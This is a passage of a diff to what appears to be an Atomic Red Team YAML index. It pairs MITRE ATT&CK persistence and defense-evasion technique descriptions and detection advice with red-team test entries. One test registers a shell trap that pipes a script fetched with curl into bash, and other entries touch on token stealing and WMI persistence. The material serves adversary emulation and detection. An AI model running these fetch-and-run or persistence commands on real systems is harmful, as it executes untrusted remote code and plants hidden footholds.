Suspicious processes or scripts spawned in this manner will have a parent process of ‘systemd’, a parent process ID of 1, and will usually execute as the ‘root’ user. + + Suspicious systemd services can also be identified by comparing results against a trusted system baseline. Malicious systemd services may be detected by using the systemctl utility to examine system wide services: systemctl list-units -–type=service –all. Analyze the contents of .service files present on the file system and ensure that they refer to legitimate, expected executables. + + Auditing the execution and command-line arguments of the 'systemctl' utility, as well related utilities such as /usr/sbin/service may reveal malicious systemd service execution. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Tony Lambert, Red Canary + created: '2019-04-23T15:34:30.008Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: persistence + external_references: + - source_name: mitre-attack + external_id: T1501 + url: https://attack.mitre.org/techniques/T1501 + - description: Linux man-pages. (2014, January). systemd(1) - Linux manual page. + Retrieved April 23, 2019. + source_name: 'Linux man-pages: systemd January 2014' + url: http://man7.org/linux/man-pages/man1/systemd.1.html + - description: Freedesktop.org. (2018, September 29). systemd System and Service + Manager. Retrieved April 23, 2019. + source_name: Freedesktop.org Linux systemd 29SEP2018 + url: https://www.freedesktop.org/wiki/Software/systemd/ + - description: Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With + a New Malware Family Written in Golang. Retrieved April 24, 2019. + source_name: Anomali Rocke March 2019 + url: https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang + - description: Catalin Cimpanu. (2018, July 10). ~x file downloaded in public + Arch package compromise. Retrieved April 23, 2019. + source_name: gist Arch package compromise 10JUL2018 + url: https://gist.github.com/campuscodi/74d0d2e35d8fd9499c76333ce027345a + - description: Catalin Cimpanu. (2018, July 10). Malware Found in Arch Linux + AUR Package Repository. Retrieved April 23, 2019. + source_name: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018 + url: https://www.bleepingcomputer.com/news/security/malware-found-in-arch-linux-aur-package-repository/ + - description: Eli Schwartz. (2018, June 8). acroread package compromised. Retrieved + April 23, 2019. + source_name: acroread package compromised Arch Linux Mail 8JUL2018 + url: https://lists.archlinux.org/pipermail/aur-general/2018-July/034153.html + - description: Rapid7. (2016, June 22). Service Persistence. Retrieved April + 23, 2019. + source_name: Rapid7 Service Persistence 22JUNE2016 + url: https://www.rapid7.com/db/modules/exploit/linux/local/service_persistence + modified: '2019-07-18T18:46:58.577Z' identifier: T1501 atomic_tests: - name: Create Systemd Service @@ -4171,47 +4298,55 @@ persistence: systemctl daemon-reload T1154: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1154 - source_name: mitre-attack - external_id: T1154 - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_data_sources: - File monitoring - Process monitoring - Process command-line parameters - modified: '2018-10-31T13:45:13.024Z' - x_mitre_detection: Trap commands must be registered for the shell or programs, - so they appear in files. Monitoring files for suspicious or overly broad trap - commands can narrow down suspicious behavior during an investigation. Monitor - for suspicious processes executed through trap interrupts. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - kill_chain_phases: - - phase_name: execution - kill_chain_name: mitre-attack - - phase_name: persistence - kill_chain_name: mitre-attack - id: attack-pattern--b53dbcc6-147d-48bb-9df4-bcb8bb808ff6 + x_mitre_permissions_required: + - User + - Administrator name: Trap - created: '2017-12-14T16:46:06.044Z' - x_mitre_version: '1.0' - x_mitre_remote_support: false - type: attack-pattern - description: The trap command allows programs and shells to specify + description: 'The trap command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like ctrl+c and ctrl+d. Adversaries can use this to register code to be executed when the shell encounters specific interrupts either to gain execution or as a persistence mechanism. Trap commands - are of the following format trap 'command list' signals where - "command list" will be executed when "signals" are received. - x_mitre_permissions_required: - - User - - Administrator + are of the following format trap ''command list'' signals where + "command list" will be executed when "signals" are received.(Citation: Trap + Manual)(Citation: Cyberciti Trap Statements)' + x_mitre_remote_support: false + id: attack-pattern--b53dbcc6-147d-48bb-9df4-bcb8bb808ff6 + x_mitre_platforms: + - Linux + - macOS + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.1' + type: attack-pattern + x_mitre_detection: Trap commands must be registered for the shell or programs, + so they appear in files. Monitoring files for suspicious or overly broad trap + commands can narrow down suspicious behavior during an investigation. Monitor + for suspicious processes executed through trap interrupts. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + created: '2017-12-14T16:46:06.044Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: execution + - kill_chain_name: mitre-attack + phase_name: persistence + external_references: + - external_id: T1154 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1154 + - description: ss64. (n.d.). trap. Retrieved May 21, 2019. + source_name: Trap Manual + url: https://ss64.com/bash/trap.html + - description: Cyberciti. (2016, March 29). Trap statement. Retrieved May 21, + 2019. + source_name: Cyberciti Trap Statements + url: https://bash.cyberciti.biz/guide/Trap_statement + modified: '2019-05-21T13:46:15.452Z' identifier: T1154 atomic_tests: - name: Trap @@ -4232,30 +4367,29 @@ persistence: trap 'nohup curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1154/echo-art-fish.sh | bash' INT T1100: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1100 - source_name: mitre-attack - external_id: T1100 - - url: https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html - source_name: Lee 2013 - description: Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down - the China Chopper Web Shell - Part I. Retrieved March 27, 2015. - - url: https://www.us-cert.gov/ncas/alerts/TA15-314A - source_name: US-CERT Alert TA15-314A Web Shells - description: US-CERT. (2015, November 13). Compromised Web Servers and Web - Shells - Threat Awareness and Guidance. Retrieved June 8, 2016. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_system_requirements: - - Adversary access to Web server with vulnerability or account to upload and - serve the Web shell file. x_mitre_data_sources: - Anti-virus - Authentication logs - File monitoring - Netflow/Enclave netflow - Process monitoring - modified: '2018-10-17T00:14:20.652Z' + type: attack-pattern + name: Web Shell + description: |- + A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server. In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (see, for example, China Chopper Web shell client). (Citation: Lee 2013) + + Web shells may serve as [Redundant Access](https://attack.mitre.org/techniques/T1108) or as a persistence mechanism in case an adversary's primary access methods are detected and removed. + id: attack-pattern--c16e5409-ee53-4d79-afdc-4099dc9292df + x_mitre_platforms: + - Linux + - Windows + - macOS + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + x_mitre_system_requirements: + - Adversary access to Web server with vulnerability or account to upload and + serve the Web shell file. x_mitre_detection: |- Web shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload: (Citation: Lee 2013) @@ -4263,27 +4397,31 @@ persistence: Nevertheless, detection mechanisms exist. Process monitoring may be used to detect Web servers that perform suspicious actions such as running [cmd](https://attack.mitre.org/software/S0106) or accessing files that are not in the Web directory. File monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server's content and may indicate implantation of a Web shell script. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells) created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - Windows - - macOS - kill_chain_phases: - - phase_name: persistence - kill_chain_name: mitre-attack - - phase_name: privilege-escalation - kill_chain_name: mitre-attack - id: attack-pattern--c16e5409-ee53-4d79-afdc-4099dc9292df - name: Web Shell created: '2017-05-31T21:31:13.061Z' - x_mitre_version: '1.0' - type: attack-pattern - description: |- - A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server. In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (see, for example, China Chopper Web shell client). (Citation: Lee 2013) - - Web shells may serve as [Redundant Access](https://attack.mitre.org/techniques/T1108) or as a persistence mechanism in case an adversary's primary access methods are detected and removed. x_mitre_effective_permissions: - SYSTEM - User + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: persistence + - kill_chain_name: mitre-attack + phase_name: privilege-escalation + external_references: + - external_id: T1100 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1100 + - source_name: capec + external_id: CAPEC-650 + url: https://capec.mitre.org/data/definitions/650.html + - source_name: Lee 2013 + description: Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down + the China Chopper Web Shell - Part I. Retrieved March 27, 2015. + url: https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html + - source_name: US-CERT Alert TA15-314A Web Shells + description: US-CERT. (2015, November 13). Compromised Web Servers and Web + Shells - Threat Awareness and Guidance. Retrieved June 8, 2016. + url: https://www.us-cert.gov/ncas/alerts/TA15-314A + modified: '2019-07-17T20:11:10.736Z' identifier: T1100 atomic_tests: - name: Web Shell Written to Disk @@ -4309,59 +4447,65 @@ persistence: ' T1084: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1084 - source_name: mitre-attack - external_id: T1084 - - url: https://www.secureworks.com/blog/wmi-persistence - source_name: Dell WMI Persistence - description: Dell SecureWorks Counter Threat Unit™ (CTU) Research Team. (2016, - March 28). A Novel WMI Persistence Implementation. Retrieved March 30, 2016. - - url: https://www.defcon.org/images/defcon-22/dc-22-presentations/Kazanciyan-Hastings/DEFCON-22-Ryan-Kazanciyan-Matt-Hastings-Investigating-Powershell-Attacks.pdf - source_name: Kazanciyan 2014 - description: Kazanciyan, R. & Hastings, M. (2014). Defcon 22 Presentation. - Investigating PowerShell Attacks [slides]. Retrieved November 3, - 2014. - - url: https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf - source_name: Mandiant M-Trends 2015 - description: 'Mandiant. (2015, February 24). M-Trends 2015: A View from the - Front Lines. Retrieved May 18, 2016.' - - url: https://technet.microsoft.com/en-us/sysinternals/bb963902 - source_name: TechNet Autoruns - description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. - Retrieved June 6, 2016. + x_mitre_permissions_required: + - Administrator + - SYSTEM x_mitre_data_sources: - WMI Objects + name: Windows Management Instrumentation Event Subscription + description: 'Windows Management Instrumentation (WMI) can be used to install + event filters, providers, consumers, and bindings that execute code when a + defined event occurs. Adversaries may use the capabilities of WMI to subscribe + to an event and execute arbitrary code when that event occurs, providing persistence + on a system. Adversaries may attempt to evade detection of this technique + by compiling WMI scripts into Windows Management Object (MOF) files (.mof + extension). (Citation: Dell WMI Persistence) Examples of events that may be + subscribed to are the wall clock time or the computer''s uptime. (Citation: + Kazanciyan 2014) Several threat groups have reportedly used this technique + to maintain persistence. (Citation: Mandiant M-Trends 2015)' + id: attack-pattern--e906ae4d-1d3a-4675-be23-22f7311c0da4 + x_mitre_platforms: + - Windows object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - modified: '2018-10-17T00:14:20.652Z' + x_mitre_version: '1.1' + type: attack-pattern x_mitre_detection: 'Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could - be attempts at persistence. (Citation: TechNet Autoruns)' + be attempts at persistence. (Citation: TechNet Autoruns) (Citation: Medium + Detecting WMI Persistence)' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + created: '2017-05-31T21:31:05.140Z' kill_chain_phases: - - phase_name: persistence - kill_chain_name: mitre-attack - id: attack-pattern--e906ae4d-1d3a-4675-be23-22f7311c0da4 - name: Windows Management Instrumentation Event Subscription - created: '2017-05-31T21:31:05.140Z' - x_mitre_version: '1.0' - type: attack-pattern - description: 'Windows Management Instrumentation (WMI) can be used to install - event filters, providers, consumers, and bindings that execute code when a - defined event occurs. Adversaries may use the capabilities of WMI to subscribe - to an event and execute arbitrary code when that event occurs, providing persistence - on a system. Adversaries may attempt to evade detection of this technique - by compiling WMI scripts. (Citation: Dell WMI Persistence) Examples of events - that may be subscribed to are the wall clock time or the computer''s uptime. - (Citation: Kazanciyan 2014) Several threat groups have reportedly used this - technique to maintain persistence. (Citation: Mandiant M-Trends 2015)' - x_mitre_permissions_required: - - Administrator - - SYSTEM + - kill_chain_name: mitre-attack + phase_name: persistence + external_references: + - external_id: T1084 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1084 + - source_name: Dell WMI Persistence + description: Dell SecureWorks Counter Threat Unit™ (CTU) Research Team. (2016, + March 28). A Novel WMI Persistence Implementation. Retrieved March 30, 2016. + url: https://www.secureworks.com/blog/wmi-persistence + - source_name: Kazanciyan 2014 + description: Kazanciyan, R. & Hastings, M. (2014). Defcon 22 Presentation. + Investigating PowerShell Attacks [slides]. Retrieved November 3, + 2014. + url: https://www.defcon.org/images/defcon-22/dc-22-presentations/Kazanciyan-Hastings/DEFCON-22-Ryan-Kazanciyan-Matt-Hastings-Investigating-Powershell-Attacks.pdf + - description: 'Mandiant. (2015, February 24). M-Trends 2015: A View from the + Front Lines. Retrieved May 18, 2016.' + source_name: Mandiant M-Trends 2015 + url: https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf + - description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. + Retrieved June 6, 2016. + source_name: TechNet Autoruns + url: https://technet.microsoft.com/en-us/sysinternals/bb963902 + - description: French, D.. (2018, October 9). Detecting & Removing an Attacker’s + WMI Persistence. Retrieved October 11, 2019. + source_name: Medium Detecting WMI Persistence + url: https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96 + modified: '2019-10-15T18:43:47.703Z' identifier: T1084 atomic_tests: - name: Persistence @@ -4406,45 +4550,14 @@ persistence: $EventFilterToCleanup | Remove-WmiObject T1004: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1004 - source_name: mitre-attack - external_id: T1004 - - url: https://capec.mitre.org/data/definitions/579.html - source_name: capec - external_id: CAPEC-579 - - url: https://technet.microsoft.com/en-us/sysinternals/bb963902 - source_name: TechNet Autoruns - description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. - Retrieved June 6, 2016. - - url: https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order - source_name: Cylance Reg Persistence Sept 2013 - description: 'Langendorf, S. (2013, September 24). Windows Registry Persistence, - Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018.' - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Praetorian x_mitre_data_sources: - Windows Registry - File monitoring - Process monitoring - modified: '2018-10-17T00:14:20.652Z' - x_mitre_detection: |- - Monitor for changes to Registry entries associated with Winlogon that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current Winlogon helper values. (Citation: TechNet Autoruns) New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious. - - Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows - kill_chain_phases: - - phase_name: persistence - kill_chain_name: mitre-attack - id: attack-pattern--514ede4c-78b3-4d78-a38b-daddf6217a79 + x_mitre_permissions_required: + - Administrator + - SYSTEM name: Winlogon Helper DLL - created: '2017-05-31T21:30:20.148Z' - x_mitre_version: '1.0' - type: attack-pattern description: "Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLM\\Software\\[Wow6432Node\\]Microsoft\\Windows @@ -4460,9 +4573,40 @@ persistence: user logs on\n* Winlogon\\Shell - points to explorer.exe, the system shell executed when a user logs on\n\nAdversaries may take advantage of these features to repeatedly execute malicious code and establish Persistence." - x_mitre_permissions_required: - - Administrator - - SYSTEM + id: attack-pattern--514ede4c-78b3-4d78-a38b-daddf6217a79 + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: |- + Monitor for changes to Registry entries associated with Winlogon that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current Winlogon helper values. (Citation: TechNet Autoruns) New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious. + + Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Praetorian + created: '2017-05-31T21:30:20.148Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: persistence + external_references: + - external_id: T1004 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1004 + - source_name: capec + external_id: CAPEC-579 + url: https://capec.mitre.org/data/definitions/579.html + - source_name: Cylance Reg Persistence Sept 2013 + description: 'Langendorf, S. (2013, September 24). Windows Registry Persistence, + Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018.' + url: https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order + - source_name: TechNet Autoruns + description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. + Retrieved June 6, 2016. + url: https://technet.microsoft.com/en-us/sysinternals/bb963902 + modified: '2019-07-17T19:16:41.584Z' identifier: T1004 atomic_tests: - name: Winlogon Shell Key Persistence - PowerShell @@ -4524,49 +4668,6 @@ persistence: defense-evasion: T1134: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1134 - source_name: mitre-attack - external_id: T1134 - - url: https://technet.microsoft.com/en-us/library/bb490994.aspx - source_name: Microsoft runas - description: Microsoft TechNet. (n.d.). Runas. Retrieved April 21, 2017. - - url: https://www.offensive-security.com/metasploit-unleashed/fun-incognito/ - source_name: Metasploit access token - description: Offensive Security. (n.d.). What is Incognito. Retrieved April - 21, 2017. - - url: https://msdn.microsoft.com/en-us/library/windows/desktop/aa378184(v=vs.85).aspx - source_name: Microsoft LogonUser - description: Microsoft TechNet. (n.d.). Retrieved April 25, 2017. - - url: https://msdn.microsoft.com/en-us/library/windows/desktop/aa446617(v=vs.85).aspx - source_name: Microsoft DuplicateTokenEx - description: Microsoft TechNet. (n.d.). Retrieved April 25, 2017. - - url: https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612(v=vs.85).aspx - source_name: Microsoft ImpersonateLoggedOnUser - description: Microsoft TechNet. (n.d.). Retrieved April 25, 2017. - - url: https://pentestlab.blog/2017/04/03/token-manipulation/ - source_name: Pentestlab Token Manipulation - description: netbiosX. (2017, April 3). Token Manipulation. Retrieved April - 21, 2017. - - url: https://blog.cobaltstrike.com/2015/12/16/windows-access-tokens-and-alternate-credentials/ - source_name: Cobalt Strike Access Token - description: Mudge, R. (n.d.). Windows Access Tokens and Alternate Credentials. - Retrieved April 21, 2017. - - url: https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing - source_name: Microsoft Command-line Logging - description: Mathers, B. (2017, March 7). Command line process auditing. Retrieved - April 21, 2017. - - url: https://www.blackhat.com/docs/eu-17/materials/eu-17-Atkinson-A-Process-Is-No-One-Hunting-For-Token-Manipulation.pdf - source_name: BlackHat Atkinson Winchester Token Manipulation - description: 'Atkinson, J., Winchester, R. (2017, December 7). A Process is - No One: Hunting for Token Manipulation. Retrieved December 21, 2017.' - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Tom Ueltschi @c_APT_ure - - Travis Smith, Tripwire - - Robby Winchester, @robwinchester3 - - Jared Atkinson, @jaredcatkinson x_mitre_permissions_required: - User - Administrator @@ -4575,36 +4676,7 @@ defense-evasion: - Access tokens - Process monitoring - Process command-line parameters - modified: '2018-10-31T13:45:13.024Z' - x_mitre_detection: "If an adversary is using a standard command-line shell, - analysts can detect token manipulation by auditing command-line activity. - Specifically, analysts should look for use of the runas command. - Detailed command-line logging is not enabled by default in Windows. (Citation: - Microsoft Command-line Logging)\n\nIf an adversary is using a payload that - calls the Windows token APIs directly, analysts can detect token manipulation - only through careful analysis of user network activity, examination of running - processes, and correlation with other endpoint and network behavior. \n\nThere - are many Windows API calls a payload can take advantage of to manipulate access - tokens (e.g., LogonUser (Citation: Microsoft LogonUser), DuplicateTokenEx - (Citation: Microsoft DuplicateTokenEx), and ImpersonateLoggedOnUser - (Citation: Microsoft ImpersonateLoggedOnUser)). Please see the referenced - Windows API pages for more information.\n\nQuery systems for process and thread - token information and look for inconsistencies such as user owns processes - impersonating the local SYSTEM account. (Citation: BlackHat Atkinson Winchester - Token Manipulation)" - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows - kill_chain_phases: - - phase_name: defense-evasion - kill_chain_name: mitre-attack - - phase_name: privilege-escalation - kill_chain_name: mitre-attack - id: attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48 name: Access Token Manipulation - created: '2017-12-14T16:46:06.044Z' - x_mitre_version: '1.0' - type: attack-pattern description: "Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it belongs to someone other than the user that started the process. @@ -4612,7 +4684,7 @@ defense-evasion: with the new token. For example, Microsoft promotes the use of access tokens as a security best practice. Administrators should log in as a standard user but run their tools with administrator privileges using the built-in access - token manipulation command runas. (Citation: Microsoft runas)\n + token manipulation command runas.(Citation: Microsoft runas)\n \ \nAdversaries may use access tokens to operate under a different user or system security context to perform actions and evade detection. An adversary can use built-in Windows API functions to copy access tokens from existing @@ -4621,9 +4693,9 @@ defense-evasion: adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can use a token to authenticate to a remote system as the account for that token if the account - has appropriate permissions on the remote system. (Citation: Pentestlab Token + has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation)\n\nAccess tokens can be leveraged by adversaries through three - methods: (Citation: BlackHat Atkinson Winchester Token Manipulation)\n\n**Token + methods:(Citation: BlackHat Atkinson Winchester Token Manipulation)\n\n**Token Impersonation/Theft** - An adversary creates a new access token that duplicates an existing token using DuplicateToken(Ex). The token can then be used with ImpersonateLoggedOnUser to allow the calling thread @@ -4642,11 +4714,85 @@ defense-evasion: user can use the runas command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account.\n\nMetasploit’s Meterpreter payload allows arbitrary token manipulation - and uses token impersonation to escalate privileges. (Citation: Metasploit - access token) The Cobalt Strike beacon payload allows arbitrary token impersonation + and uses token impersonation to escalate privileges.(Citation: Metasploit + access token) The Cobalt Strike beacon payload allows arbitrary token impersonation and can also create tokens. (Citation: Cobalt Strike Access Token)" + id: attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48 + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: "If an adversary is using a standard command-line shell, + analysts can detect token manipulation by auditing command-line activity. + Specifically, analysts should look for use of the runas command. + Detailed command-line logging is not enabled by default in Windows.(Citation: + Microsoft Command-line Logging)\n\nIf an adversary is using a payload that + calls the Windows token APIs directly, analysts can detect token manipulation + only through careful analysis of user network activity, examination of running + processes, and correlation with other endpoint and network behavior. \n\nThere + are many Windows API calls a payload can take advantage of to manipulate access + tokens (e.g., LogonUser (Citation: Microsoft LogonUser), DuplicateTokenEx(Citation: + Microsoft DuplicateTokenEx), and ImpersonateLoggedOnUser(Citation: + Microsoft ImpersonateLoggedOnUser)). Please see the referenced Windows API + pages for more information.\n\nQuery systems for process and thread token + information and look for inconsistencies such as user owns processes impersonating + the local SYSTEM account.(Citation: BlackHat Atkinson Winchester Token Manipulation)" + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Tom Ueltschi @c_APT_ure + - Travis Smith, Tripwire + - Robby Winchester, @robwinchester3 + - Jared Atkinson, @jaredcatkinson + created: '2017-12-14T16:46:06.044Z' x_mitre_effective_permissions: - SYSTEM + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + - kill_chain_name: mitre-attack + phase_name: privilege-escalation + external_references: + - external_id: T1134 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1134 + - source_name: capec + external_id: CAPEC-633 + url: https://capec.mitre.org/data/definitions/633.html + - source_name: Microsoft runas + description: Microsoft TechNet. (n.d.). Runas. Retrieved April 21, 2017. + url: https://technet.microsoft.com/en-us/library/bb490994.aspx + - source_name: Pentestlab Token Manipulation + description: netbiosX. (2017, April 3). Token Manipulation. Retrieved April + 21, 2017. + url: https://pentestlab.blog/2017/04/03/token-manipulation/ + - source_name: BlackHat Atkinson Winchester Token Manipulation + description: 'Atkinson, J., Winchester, R. (2017, December 7). A Process is + No One: Hunting for Token Manipulation. Retrieved December 21, 2017.' + url: https://www.blackhat.com/docs/eu-17/materials/eu-17-Atkinson-A-Process-Is-No-One-Hunting-For-Token-Manipulation.pdf + - source_name: Metasploit access token + description: Offensive Security. (n.d.). What is Incognito. Retrieved April + 21, 2017. + url: https://www.offensive-security.com/metasploit-unleashed/fun-incognito/ + - source_name: Cobalt Strike Access Token + description: Mudge, R. (n.d.). Windows Access Tokens and Alternate Credentials. + Retrieved April 21, 2017. + url: https://blog.cobaltstrike.com/2015/12/16/windows-access-tokens-and-alternate-credentials/ + - source_name: Microsoft Command-line Logging + description: Mathers, B. (2017, March 7). Command line process auditing. Retrieved + April 21, 2017. + url: https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing + - source_name: Microsoft LogonUser + description: Microsoft TechNet. (n.d.). Retrieved April 25, 2017. + url: https://msdn.microsoft.com/en-us/library/windows/desktop/aa378184(v=vs.85).aspx + - source_name: Microsoft DuplicateTokenEx + description: Microsoft TechNet. (n.d.). Retrieved April 25, 2017. + url: https://msdn.microsoft.com/en-us/library/windows/desktop/aa446617(v=vs.85).aspx + - source_name: Microsoft ImpersonateLoggedOnUser + description: Microsoft TechNet. (n.d.). Retrieved April 25, 2017. + url: https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612(v=vs.85).aspx + modified: '2019-10-14T20:45:04.451Z' identifier: T1134 atomic_tests: - name: Access Token Manipulation @@ -4671,53 +4817,91 @@ defense-evasion: get-process | select processname,Id,@{l="Owner";e={$owners[$_.id.tostring()]}} #Steal Token . .\src\T1134.ps1 - T1197: + '': technique: - external_references: - - url: https://attack.mitre.org/techniques/T1197 - source_name: mitre-attack - external_id: T1197 - - url: https://technet.microsoft.com/library/dd939934.aspx - source_name: Microsoft Issues with BITS July 2011 - description: Microsoft. (2011, July 19). Issues with BITS. Retrieved January - 12, 2018. - - url: https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx - source_name: Microsoft BITS - description: Microsoft. (n.d.). Background Intelligent Transfer Service. Retrieved - January 12, 2018. - - url: https://msdn.microsoft.com/library/aa362813.aspx - source_name: Microsoft BITSAdmin - description: Microsoft. (n.d.). BITSAdmin Tool. Retrieved January 12, 2018. - - url: https://www.secureworks.com/blog/malware-lingers-with-bits - source_name: CTU BITS Malware June 2016 - description: Counter Threat Unit Research Team. (2016, June 6). Malware Lingers - with BITS. Retrieved January 12, 2018. - - url: https://arstechnica.com/information-technology/2007/05/malware-piggybacks-on-windows-background-intelligent-transfer-service/ - source_name: Mondok Windows PiggyBack BITS May 2007 - description: Mondok, M. (2007, May 11). Malware piggybacks on Windows’ Background - Intelligent Transfer Service. Retrieved January 12, 2018. - - url: https://www.symantec.com/connect/blogs/malware-update-windows-update - source_name: Symantec BITS May 2007 - description: Florio, E. (2007, May 9). Malware Update with Windows Update. - Retrieved January 12, 2018. - - url: https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx - source_name: Microsoft COM - description: Microsoft. (n.d.). Component Object Model (COM). Retrieved November - 22, 2017. - - url: https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/ - source_name: PaloAlto UBoatRAT Nov 2017 - description: Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. - Retrieved January 12, 2018. + x_mitre_data_sources: + - Authentication logs + - Office 365 account logs + name: Web Session Cookie + description: "Adversaries can use stolen session cookies to authenticate to + web applications and services. This technique bypasses some multi-factor authentication + protocols since the session is already authenticated.(Citation: Pass The Cookie)\n\nAuthentication + cookies are commonly used in web applications, including cloud-based services, + after a user has authenticated to the service so credentials are not passed + and re-authentication does not need to occur as frequently. Cookies are often + valid for an extended period of time, even if the web application is not actively + used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), + the adversary then imports the cookie into a browser they control and is able + to use the site or application as the user for as long as the session cookie + is active. Once logged into the site, an adversary can access sensitive information, + read email, or perform actions that the victim account has permissions to + perform.\n\nThere have been examples 